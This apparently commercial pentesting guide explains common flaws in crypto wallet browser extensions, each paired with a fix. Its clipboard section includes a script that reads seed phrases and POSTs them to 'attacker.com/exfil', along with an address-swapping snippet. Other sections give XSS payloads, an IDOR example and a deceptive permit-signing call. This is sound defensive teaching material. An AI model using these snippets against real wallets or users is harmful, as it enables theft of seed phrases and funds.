INTRODUCTION
Crypto wallets are the critical bridge (or gateway) between Web2 and Web3 by which you interact with web3 based dApps. . But what if the very tool you rely on has hidden security flaws? That’s a serious risk. This guide is your essential companion for uncovering bugs in crypto wallet extensions. While not exhaustive, it highlights various common areas for assessment. For Wallet security review/audits/pentest,contact us!
This guide is limited to the context of crypto wallets browser extension pentesting. Crypto wallets like Metamask alone has 15 million users using the extension. Browser crypto extension are regarded as go-to (or default) tool for most users. Let’s dive into the common security issues in context of pentesting the crypto wallets.
ARCHITECTURE
A crypto wallet browser extension is a type of app that runs within a web browser and interacts with blockchain networks. Its architecture typically combines frontend (UI), backend logic, cryptographic key management, and secure communication between the extension, the blockchain, and web pages (DApps).
- Background Scripts : This is the back-end of the crypto wallets. It runs in the background as a service worker. It handles account state, stores encrypted private keys, and acts as a controller for all transaction flows. The private key is encrypted using the WebCrypto API and a password-derived key, stored securely in
chrome.storage.local
orIndexedDB
. When the user unlocks the wallet, the decrypted key remains in memory only for the duration of the session. - Content Scripts : It injects a provider object into the webpage (
window.ethereum
or similar). This provider complies with standards like EIP-1193 and allows the DApp to request accounts, send transactions, or sign messages. These requests are routed through a secure message bridge to the background script, which processes them and sends a response back to the DApp. - UI : It is usually built with React or a similar framework which allows users to view balances, sign transactions, manage networks, and interact with DApps. It communicates with the background script through message passing using the browser extension APIs. When a transaction request is received, the UI presents a confirmation window, and upon approval, the background script signs and broadcasts the transaction using the connected blockchain node (typically via JSON-RPC).
- manifest.json : This file specifies configuration of crypto wallets like
permissions
,CSP
,icons
,host_permissions
,web_accessible_resources
,content_scripts
, etc. - package.json : This file specifies which dependencies are being used in this wallet extension.
wallet-extension/
│
├── manifest.json # Browser extension manifest (v2,v3)
├── package.json # Project config and dependencies
├── tsconfig.json # TypeScript configuration
├── webpack.config.js # Webpack build config (or Vite/Rollup)
│
├── public/ # Static assets
│ └── icons/ # Extension icons for various sizes
│ └── icon_128.png
│
├── src/
│ ├── background/ # Background script logic
│ │ ├── index.ts # Entry point for background service worker
│ │ ├── walletController.ts # Manages accounts, transactions, state
│ │ ├── keyManager.ts # Key vault and encryption/decryption
│ │ └── rpcHandler.ts # JSON-RPC request handling
│
│ ├── content/ # Content script (injected into web pages)
│ │ └── injectProvider.ts # Injects provider object (e.g., window.ethereum)
│
│ ├── ui/ # Popup UI (React/Svelte app)
│ │ ├── App.tsx # Main React app
│ │ ├── components/ # UI components (buttons, modals, etc.)
│ │ ├── pages/ # Screens like Home, Send, Settings
│ │ └── styles/ # CSS or Tailwind config
│
│ ├── provider/ # Injected provider implementation
│ │ └── ethereumProvider.ts # Handles EIP-1193-compliant provider API
│
│ ├── utils/ # Utility modules (shared code)
│ │ ├── cryptoUtils.ts # Key generation, signing, encryption
│ │ └── storage.ts # Wrapper around chrome.storage
│
│ ├── messages/ # Message handling between extension parts
│ │ ├── types.ts # Message types/interfaces
│ │ └── bridge.ts # Messaging between content ⇄ background ⇄ UI
│
│ └── constants/ # Chain info, token metadata, error codes
│ └── networks.ts
│
└── dist/ # Build output for the extension (auto-generated)
The structuring is based in the following orders, obviously naming could differ for files but the core convention is mostly same. All communications between these components are tightly scoped to avoid exposing private data to malicious scripts. The extension maintains a strict permission system, ensuring that DApps must request access explicitly, and all sensitive actions (like sending funds or signing data) require direct user approval in the UI. There are certain common security issues which we will discuss and learn, they will come handy when you’re pentesting crypto wallets:
1. Supply Chain Attack
This is mostly in regards with package.json
, and are
a high-risk vector due to the heavy reliance on third-party packages. Since these extensions often manage sensitive operations like key generation, transaction signing, and network communication, a compromised or malicious dependency can directly impact the wallet’s integrity and user funds.
1.1. Dependency Confusion
Dependency confusion occurs when internal (private) packages referenced in package.json
are unintentionally overridden by malicious public packages with the same name published to npm. This is particularly dangerous in wallet projects where internal libraries (e.g., @company/crypto-utils
) are used for key handling, signing algorithms, or encryption.
Attack Vector:
- An attacker identifies internal packages in
package.json
, e.g.,@xyzabc/crypto-core
. - They publish a public package with the same name to npm.
- If the wallet project doesn’t enforce scoped or private registry resolution (e.g., via
.npmrc
), npm installs the attacker’s version i.e., the one published publically. - Malicious code runs during the build phase or at runtime (via postinstall scripts, runtime hooks), potentially exfiltrating private keys, mnemonics, or RPC traffic.
Fix : Implement proper resolution via .npmrc
and reference the internal packages in package.json
correctly.
1.2. Vulnerable Versions of Dependencies
Wallet extensions often depend on libraries such as elliptic
, noble-secp256k1
, bip39
, hdkey
, pbkdf2
, scrypt-js
etc. If any of these dependencies contain known CVEs (e.g., unsafe random number generation, timing side-channels, insecure deserialization), they can directly compromise wallet operations. So in the package.json
the versioning convention is important :
5.7.2
: Downloads exact version. Resolves to5.7.2
~5.7.2
: Allows only patch-level updates. Resolves to>=5.7.2 <5.8.0
^1.2.2
: Allows updates that do not change the leftmost non-zero digit. Resolves to>=5.7.2 <6.0.0
>=5.7.0 <5.9.0
: Allows specific version range. Used when you want tight control or restrict to tested versions.*
: Matches any version. Highly discouraged in security-sensitive applications like wallets.
There are instance where attackers go more deep into the dependencies and check up their associated dependency or look after security issues in them.
Testing methodology : Simply run npm audit
and it will list known CVEs associated with the dependency.
Fix : Update and integrate your wallet with the proper versions which aren’t vulnerable to any security issues.
2. Hardcoded secrets
Search or scan for hardcoded API keys, secrets, passkeys, generators etc. Often time while pushing the code devs forget to save it securely in .env
files which causes leakage of keys and secrest like AWS, SLACK, JWT secrets
Common locations where sensitive secrets may be hardcoded:
src/utils/cryptoUtils.ts
orkeyManager.ts
– key derivation, signing- Test or demo accounts in
config/devnet.ts
,constants/testAccounts.ts
- API auth secrets in
api.ts
,network.ts
- Mnemonics embedded in
walletController.ts
or test flows - Inline secrets in frontend UIs (e.g.,
App.tsx
) - Legacy backup scripts or
.bak
,.old
files left in repo
Example:
NOTE: This filenames are just for example, they could differ depending on the context and environment you are pentesting.
Testing Methodology : There are multiple tools which scans for high-entropy based string provided below with this which could do the job pretty efficienctly. You can also create custom semgrep rules if the tools don’t cover any specific patterns or regexes.
Tools: gitleaks , truffleHog, git-secrets
Fix: Never hardcode them in the files, as they pose severe security risks. The standard way is to use store them in environment varaibles and fetch it from.env
3. Private Key Handling
This is the most hottest section when it comes to pentesting wallets, so utmost attention should be given. As the private key is the “main door key” to any “wallet”, used to sign transactions, messages, and authenticate users across blockchains. Once the private key is compromised, your funds are compromised.
This is the basic lifecycle of private key in extensions :
Generation : Using bip39
, bip32
, or noble-secp256k1
to derive keys from a mnemonic or generate random ECDSA keys.
Encryption (Vaulting): Keys are encrypted using password-based key derivation (e.g. PBKDF2, scrypt, argon2) and stored securely.
Storage: Encrypted blob is stored in chrome.storage.local
, IndexedDB
, or in-memory only (in hardened implementations).
Decryption & Usage: Key is decrypted on unlock and used to sign transactions or messages using EIP-712, EIP-191, etc.
Memory Handling & Cleanup: Key may remain in memory (global or module scope) until user locks the wallet or the session ends.
3.1 Plain-text storage of keys
Developer make mistakes by storing plaintext private keys in the for testing in chrome.storage.local
, browser.storage.local
or localStorage
, sessionStorage
which may help in opening the door for attackers to your wallet and funds definitely. Since these storage types are persistent and accessible to Javascript making it high-value attack vector.
Testing Methodology :
- Open DevTools → Application tab → Storage
- Inspect:
chrome.storage.local
,browser.storage.local
,localStorage
,IndexedDB
,sessionStorage
- Look for fields like :
privateKey
,wallet
,vault
,mnemonic
,seed
,keystore
etc. where you can find the plain text storage of private key or mnemonic.
Fix : Keeping private keys in memory only, and never saving them to persistent storage, eliminates the attack surface entirely. Even in memory clear it once work is done.
3.2 Audit the encryption method
If the encryption being used is pbkdf2
, scrypt
etc. then review its iteration count, salt randomness, and IV generation. Refer to this article for more insight on testing methodology.
Attack Vector : If the PBKDF has low iteration count (e.g., 1,000 rounds in PBKDF2), offline brute-force attacks become trivial if the encrypted blob is leaked.
Fix: Configure the cryptographic configurations as specified in OWASP and NIST standards
3.3 Inspect in-memory handling
Even if private keys are encrypted at rest, they must be decrypted and held in memory during active usage (e.g., for signing transactions). Improper memory management can lead to sensitive key material lingering in global scopes or being exposed through dev tools, memory dumps, heap dump or JS object inspection.
Testing Methodology (for global scope vars, heap, memory):
Trigger actions which involve performing something with the key like signing a transaction, message etc. to ensure private key is loaded
Dump Global Scope : DevTools → Console:
Object.keys(window)
// Pattern to scan 64 chars, which is typically the private key for (let key in window) { try { const val = window[key]; if (typeof val === 'string' && /^0x[a-f0-9]{64}$/i.test(val)) { console.log("🕵️ Leaked key:", key, val); } } catch (_) {} }
Heap Snapshot Inspection : DevTools → Memory → Heap Snapshot and search maybe:
privateKey
,mnemonic
,seed
,Uint8Array
, etc. or manually inspect it to check if key is leaked in there.Background Page Memory : Go to
chrome://extensions
→ Make sure your Developer mode is turned on → Click the extension’s “Details” → “Inspect Views: Service Worker”. Catch the key in memory before it shuts down. This is time-sensitive process.Check Leak Lifespan: Also make sure that the once the private key is loaded to variable it should be immidately cleared so that it never remains in memory. For example, in below example code snippet the privKey is not cleared and remains in scope. :
// ❌ BAD PRACTICE
function signTx(msg) {
const privKey = "0x123456abcdef..."; // stays in memory!
const sig = signWithPrivateKey(privKey, msg);
return sig;
}
// ✅ GOOD PRACTICE
function signTx(msg) {
let privKey = decryptKey(); // returns Uint8Array
const sig = signWithPrivateKey(privKey, msg);
privKey.fill(0); // zero out after use
return sig;
}
4. Broken Access Control
Broken Access Control (BAC) occurs when users can perform actions outside of their intended privileges like accessing or modifying another user’s wallet data, signing without consent, or interacting with unauthorized internal APIs, seeing other users secret info.
Broken access control occurs when wallets fail to properly enforce security boundaries across contexts like:
- Background scripts
- DApps (via
window.ethereum
) - Service workers
- Chrome messaging (
chrome.runtime.sendMessage
) - UI components (popups, notifications, sign requests)
These flaws can lead to unauthorized account access, transaction signing, or even full key exposure.
4.1 IDOR (Insecure Direct Object Reference)
So consider a fact that there is API calls being made to fetch the user details including PII details such as email, username, phone number, secrets etc. to the following API route :
GET /users/10000/details
****Now you know that, 10000
is your user id, what you do is change it to someone else’s like :
GET /users/10001/details
And boom! You’re presented with the data of 10001
user id. This is the basic gist covering technical breakdown of IDOR, there are multiple bypass to this depending on context, Content-type or where the id’s are passed in. However that is not included in here, it’s for you to search and explore further
4.2 Unauthorized Message or Transaction Signing without user interaction
One of the most critical attack vectors in browser wallet security is the ability to sign transactions or messages without user consent. Wallets must explicitly gate signing functionality behind secure prompts and user approval, otherwise attackers can manipulate internal APIs or message flows to trigger signing silently. So the Wallets must prompt users before signing messages (EIP-191) or typed data (EIP-712). If these prompts can be bypassed, attackers can perform silent transaction or message signing.
await window.ethereum.request({
method: "eth_signTypedData_v4",
params: [victimAddress, typedData]
});
Testing Methodology :
- Try signing from a previously authorized dApp (without re-approval)
- Attempt signing during UI-locked state
- Check if approvals are bound to origin
Fix:
- Require explicit user confirmation for all signing actions
- Verify
origin
,tabId
, and session status - Never auto-sign based on local storage
4.3 Extension APIs Exposed While Locked
When a wallet is locked, all APIs that expose sensitive data (e.g., accounts, balances, keys) must be disabled. If not, attackers can extract account info even while UI is locked.
Attack Vector :
For example , if anyone tried to call the extension when its locked by the following call:
chrome.runtime.sendMessage({ method: "getAccounts" });
Then there should not be any response or should respond with Error, Bad Request etc.
Fix:
- Implement a global
isLocked
state in background - Guard all entry points in service workers or background pages
- Never rely on UI state alone
4.4 Performing sensitive functions without user confirmation
Some wallets auto-switch Ethereum networks or selected accounts without user confirmation (entering passowrd), allowing dApps to mislead users or trick them into signing on malicious mainnets, changing PIN etc. leading to funds theft or loss of control for victims.
await ethereum.request({
method: 'wallet_switchEthereumChain',
params: [{ chainId: '0x1' }],
});
Fix (Secure Handling):
- Prompt User before switching chain or account.
- Show a full-screen modal with origin + chain + account
5. Cross Site Scripting
Cross Site Scripting (XSS) is an attack vector which involves supplying malicious HTML/Javascript and performing some malicious actions on-behalf of the victim by transporting their cookies, localStorage, sessionStorage leading to account takeover. This could also be used in phishing users, or modifying DOM to trick users into approving malicious contracts.
Attack Scenarios :
NFT integration : There are multiple integrations in the crypto wallet extensions which helps in integrating NFT. So NFT contains metadata, name and symbol. For testing, supply malicious JS payloads (for testing purpose) -
<img src=x onerror=alert(123)>
.The above payload is to reference image, from the
src
:x
, which is ofcourse invalid URL/URI. Soonerror
event handler will be triggered which will cause the alert popup execute like :dApp integration : If you integrate dApp with the crypto wallet protocol, and if the dApp actually contains an XSS like
https://target-dapp.com/search?q=<script>alert(1)</script>
this would cause XSS in the crypto wallet extensions as well.
Testing Methodology :
- Check all the integrations like NFT, dApp, and other integrations in the crypto wallet.
- Test with basic html payload like
“><h1>tester</h1>
,"><img src=x onerror=alert(123)>
- If the payloads execute, it’s amazing. If not, you can maybe try bypass methods by supplying different encodings, event handlers, whitelist/blacklist bypass etc. and inspecting it via Dev Tools via Inspect.
Fix:
- Sanitize NFT metadata, DeFi content, or user-supplied data before rendering
- Use frameworks that auto-escape HTML (React, Vue)
- Never use
innerHTML
ordocument.write
on untrusted content - Harden the CSP configuration to minimize the impact.
6. Clickjacking Attack
Clickjacking (UI redressing) is a malicious technique where a victim is tricked into clicking on an element on a web page that is invisible or disguised as another element. When applied to crypto wallets, this could mean tricking a user into:
- Approving a transaction
- Connecting their wallet
- Signing a malicious message
- Changing wallet settings
- Stealing Private Key
Testing Methodology :
- Intercept the request via Network tab, or via Burp Suite
- User is authenticated or has unlocked wallet in browser context.
- Wallet uses iframe-accessible buttons or modals (e.g., MetaMask connect, transaction approval). And in the response tag of the files or endpoints you want to redress, check that
X-Frame-Options
doesn’t exists in the response header
Fix:
The below example is that of “Brave Wallet” extension which is secured. In here, X-Frame-Options: DENY
means no iframe origin can wrap it.
7. Denial of Service (DoS)
A Denial-of-Service (DoS) attack in the context of Web3 wallets is an intentional attempt to disrupt wallet operation, typically by overloading its API interfaces, UI layers, or background threads through aggressive or malformed interaction patterns. Rather than crashing servers, these attacks exploit weaknesses in extension-side handling of requests, often rendering the wallet unusable or unstable in the browser. Because Web3 wallets like MetaMask and Phantom expose a set of programmable JavaScript APIs directly to untrusted webpages (DApps), any site with access to window.ethereum
or similar can invoke privileged methods that interact with the wallet’s internal components.
Unlike traditional APIs secured by authentication or permissioning, these interfaces assume good-faith behavior from DApps, making them vulnerable to unregulated abuse. The most common root cause of DoS in wallet extensions is the lack of per-origin rate limiting, allowing adversarial pages to flood wallet APIs with high-frequency or recursive calls, ultimately exhausting UI capacity, memory, or inter-process communication queues.
7.1 Lack of rate-limiting
In most wallet extensions today, there is little to no rate limiting applied to calls made from the DApp context to critical wallet methods. This leaves the system open to multiple forms of overload, ranging from popup flooding to silent background API abuse. Two interfaces particularly affected are:
eth_requestAccounts
– triggers a wallet connection popupwallet_watchAsset
– initiates background parsing and metadata processing
These endpoints are callable repeatedly and without temporal restriction from any web origin where the wallet is injected. As a result, an attacker can script malicious loops or trigger automatic invocation chains on page load to overload the wallet’s behavior.
If these functions, or any processing part (endpoint) is called continuously then the server load makes the extension go in Denial of service mode.
7.2 Improper input parsing
Input validation is the core gist of security. It is common terminology, across all fields of cybersecurity - web2, web3, api, android app, iOS app etc. Many a times, there are instances where improper input could cause DoS. But this time, it’s time to think before reading ahead. It’s very simple, i bet.
So the below code is for listing the number of transactions in a page. For that, ?perPage
parameter is sent. So how can the attacker DoS such implementation.
const perPage = Number(options?.perPage || defaultOptions?.perPage) || 20;
You guessed it right, by passing a huge number like 100000000000
. So this implementation passed along with such value will put good load on the server and processing power. And in turn cause Denial of Service.
ReDoS: Next up, is when developers try to parse regex based patterns as an user input. In here there are times when developers use unsafe regular expressions. This form of attack is called ReDoS - Regular Expression Denial of Service. It exploits the fact that certain poorly-written regex patterns can exhibit catastrophic backtracking, where evaluation time grows exponentially with input size, locking up the JavaScript engine, event loop, or even the browser tab.Consider a scenario where in the wallet extension, there is an symbol field NFT’s being prompted as an user input. And the regex used to parse it is : /^([a-zA-Z]+)+$/
Can you spot the issue ? If you can, you’re amazing. If not, don’t worry i’ll make you. So the above regex pattern is scanning for letters lowercase and upper case are whitelisted. However the +
sign denoted that the symbol length could be ≥1. So it could even be infinite.
Fix: /^([a-zA-Z]{1,10}$/
⇒ this make sure that the letters are 1 ≤ 10.
8. Deceptive UI/UX
Deceptive UI/UX attacks exploit user interface design to mislead or manipulate wallet users into unintentionally approving dangerous actions. In browser-based crypto wallet, these attacks are highly effective because the wallet interfaces are embedded within or tightly integrated with the browser window, allowing adversaries to visually mimic, overlay, or redirect wallet operations without user suspicion.
A DApp prompts a user to sign an innocent-looking message (e.g., “Login with Web3”), but the payload contains off-chain approvals, permit-style access, or encoded phishing messages. Wallets render minimal UI metadata, making it easy to disguise the operation’s intent.
await ethereum.request({
method: "personal_sign",
params: [userAddress, maliciousPermitPayload],
});
The signing prompt shows “Sign this message to login”, but the message grants ERC20 permit()
approval to attacker.
9. Clipboard Based Attacks
Clipboard-based attacks exploit the user’s reliance on copy-paste operations to either steal sensitive data e.g. private keys, recovery phrases In Web3 environments, the clipboard becomes a critical target during activities like:
- Importing seed phrases
- Copying wallet addresses
- Sending funds manually (pasting address into a DApp)
Modern browsers restrict clipboard access, but when clipboard APIs are exposed during user gestures, a malicious DApp or website can read or overwrite clipboard data silently leading to stealthy, damaging exploits, in turn.
Attack Scenarios :
On some sites or during account import, users might copy-paste their seed phrase or private key. A malicious DApp can read this clipboard data using navigator.clipboard.readText()
if the user has recently interacted with the page.
Workflow :
- Victim pastes their seed phrase into an import field (after copying it from a password manager or file).
- Attacker-embedded script uses clipboard read logic within a trusted-looking interface.
- The sensitive data is silently exfiltrated to an attacker-controlled server through a script something like this :
document.addEventListener("click", async () => {
const data = await navigator.clipboard.readText();
if (data.includes(" ")) {
fetch("https://attacker.com/exfil", {
method: "POST",
body: JSON.stringify({ seed: data }),
});
}
});
The above demonstrates read based logic of secret keys, phrases. However there could also be write-based logic for the receipient address which could result in transferring funds to attackers address. But the attack’s likelihood is quite low but should be taken into account. Something like this could make the user paste this address into a send form (or another DApp), unknowingly sending funds to the attacker.
document.getElementById("copy").addEventListener("click", async () => {
const attackerAddress = "0xBADc0deBEEF1234567890";
await navigator.clipboard.writeText(attackerAddress);
});
10. Domain based issues
Wallets, especially those integrated into browser-based environments or interacting with dApps, are inherently exposed to domain-level threats. These vulnerabilities often stem from misconfigured DNS records, improper trust assumptions about subdomains or third-party platforms, and insecure handling of external assets or identities. Attackers can exploit weaknesses in domain ownership, resolution, or rendering to hijack trust, serve malicious content, or redirect users to spoofed interfaces.
This section focuses on high-impact vectors such as subdomain takeover, homograph-based domain spoofing, insecure CORS policies, referrer leakage, and the misuse of identity systems like ENS. The goal is to identify how wallets may indirectly inherit or amplify risks introduced at the domain or infrastructure layer to eliminate the risk.
10.1 Subdomain Takeover
Subdomain Takeover is a security vulnerability that occurs when a subdomain (e.g., test.example.com
) points to an external service (e.g., GitHub Pages, AWS S3, Heroku) via a CNAME or ALIAS DNS record, but the external service is not claimed or no longer exists. An attacker can register or claim the resource and serve malicious content from the subdomain. This could also arise due to bad nameserver configuration and misconfigured DNS Zones.
Testing methodology (example):
dig 0xaudron.xyz
(just for example, i have provided my site details)
- Based on the records like this points to CNAME record of
0xaudron.[github.io](http://github.io)
you can follow the guide below as to how to claim vulnerable services. For instancegithub.io
has edge cases as it’s not always possible to take it over even if it’s not taken over.
Checkout the list of services and how to claim (sub)domains with dangling DNS records - https://github.com/EdOverflow/can-i-take-over-xyz
Tools : subjack, OneForAll, nuclei
10.2 DApp Spoofing via Similar URLs
This technique is primarily used to deceive users and is a common component of social engineering attacks. In this scenario, attackers register lookalike domains that closely resemble legitimate ones, tricking users into believing they are on a trusted site. These fake domains are then used to steal funds, harvest credentials, or scam users.
Example:
If the legitimate site is vulndapp.com
, an attacker might register a deceptive domain like vulndápp.com
. While the two appear nearly identical at a glance, the latter contains a special character (á
) and is controlled by the attacker.
10.3 Cross Origin Resource Sharing Misconfiguration
Wallet applications (especially web-based wallets and browser extensions) often expose APIs or communicate with backend services. If these services are misconfigured with overly permissive CORS policies (e.g., Access-Control-Allow-Origin: *
), it may allow untrusted websites to make authenticated or unauthorized cross-origin requests, leading to data leakage or wallet manipulation.
Testing Methodology :
- In the following calls to API or any endpoints where state updating, sensitive information disclosure, check by sending request with malicious/attacker controlled domain in
Origin
header, try with maybeOrigin: https://www.example.com
- If in the response you see the following response headers ⇒
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true
- Then it’s vulnerable and you can continue the exploitation due to misconfigured policy allowing attackers to carry out privileged actions and retrieve sensitive information.
Tool(s): Corsy
10.4 ENS Domain Name
ENS (Ethereum Name Service) provides human-readable names (like alice.eth
) that map to Ethereum addresses and other data. While it improves usability, it also introduces security risks that must be considered in wallet security assessments.
10.4.1 ENS Resolution Issues
Improper ENS Resolution - Test with unregistered or expired names like invalid.eth
. Wallet may still allow sending.
Fix: Resolve ENS before allowing transactions. Block unresolved names.
Cached ENS Results - Change the address of an ENS name after first resolving it. Wallet may use old data.
Fix: Re-fetch ENS data before sensitive actions.
Malicious Resolver Contracts - when protocol uses custom resolvers returning fake or incorrect data.
Fix: Check if data is accepted only from trusted resolver contracts.
10.4.2 ENS Name Spoofing & Visual Deception
Homoglyph Names - Create lookalikes like vіtalik.eth
(Cyrillic). Wallet may not warn.
Fix: Detect homoglyphs. Warn or flag suspicious names.
Punycode / Unicode Spoofing - Use names like xn--vitalik.eth
with hidden characters.
Fix: Normalize and show decoded names. Flag ambiguous ones.
Subdomain Impersonation- Register support.wallet.eth
to appear official.
Fix: Don’t inherit trust from parent names. Show full ENS.
10.4.3 Identity & Ownership
Unverified ENS Ownership - Point trusted.eth
to any address. Wallet may assume trust.
Fix: Use EIP-4361 or other proof of ownership. Mark unverified names.
Fake Identity Claims - Register names like brand.eth
with no link to real orgs.
Fix: Show verified status. Support on-chain or DNSSEC proofs.
Reverse Lookup Spoofing - Set reverse record that doesn’t match forward.
Fix: Only show ENS if reverse and forward match.
10.5 Social Media handles takeover
Social media based handles are currently essential portion of the workflow, updates, assistance or support and brand reputation is judged based on the handle accounts. What if they are compromised ? Yep, you can phish the company’s users, worsen their reputations, do scams especially in web3 based apps. In here, the social refs, links which are attached are not created, updated, linked etc. with the same username as metioned. And hence attacker can sign up with the same username.
11. Best security policies
11.1 Autolock function
Wallet browser extensions, once unlocked, should automatically lock themselves after a defined period of inactivity. Failure to implement autolocking exposes users to session hijacking, especially on shared or compromised devices. Without autolock, sensitive operations like signing messages or transactions may remain accessible to unauthorized users.
Testing Methodology :
- Unlock the wallet extension and leave it idle.
- Monitor session behavior over a period (e.g., 5–15 minutes) without interaction.
- Attempt to trigger wallet actions (signing, viewing keys, sending transactions) after idle time.
- Observe if the extension remains accessible without requiring reauthentication.
Fix:
- Enforce autolock after a short inactivity period (e.g., 5 minutes).
- Provide configurable timeout options for user convenience.
- Require password or biometric verification to re-authenticate after lock.
11.2 Password Policy
Wallet extensions use passwords to encrypt private keys and secure local storage. A weak password policy allows users to set short, guessable, or common passwords, which weakens the overall cryptographic protection. Attackers with access to the local device or storage may attempt offline brute-force or dictionary attacks on the encrypted vault. Recommendations :
- Implement a strict password policy:
- Minimum length (e.g., 8–12 characters)
- Mix of upper/lowercase letters, numbers, and symbols
- Assess password strength using entropy calculations or libraries like zxcvbn
- Include a password strength meter during setup
- Reject commonly used passwords and provide guidance for strong passphrase creation
12. Manifest file Misconfiguration
The manifest.json
file defines core extension behavior, permissions, and resource access. In wallet browser extensions, insecure or overly permissive configurations here can expose users to elevated risks. These include excessive access to browser APIs, content script injection on unintended domains, and insecure content security policies (CSP). If improperly configured, it may allow for privilege escalation, data leaks, or unauthorized interactions between the extension and malicious webpages.
Testing Methodology :
- Review the manifest file for permissions such as
tabs
,webRequest
, orhost_permissions
with wide scopes like<all_urls>
or://*/*
. - Inspect
content_scripts
for overly broadmatches
rules. Scripts injecting on arbitrary domains should be flagged. - Validate the
content_security_policy
to ensure no unsafe directives like'unsafe-eval'
or wildcards inscript-src
. You can also use CSP Evaluator by google. - Check background/service workers and messaging handlers (
chrome.runtime.onMessage
,postMessage
) for origin checks. - Test if internal extension APIs are callable from web pages without restrictions.
Fix :
- Limit permissions to the minimum required. Avoid broad scopes in
host_permissions
. - Restrict content scripts to specific, trusted domains only.
- Define a strict CSP: use
script-src 'self'
and avoid external sources or eval-like constructs. - Always verify message sender origins before processing.
- Prefer Manifest V3 with service workers for better isolation and control.
Thanks for reading, hope you found it informative. For Wallet Security Pentests/Audits, feel free to reach out to us or request quote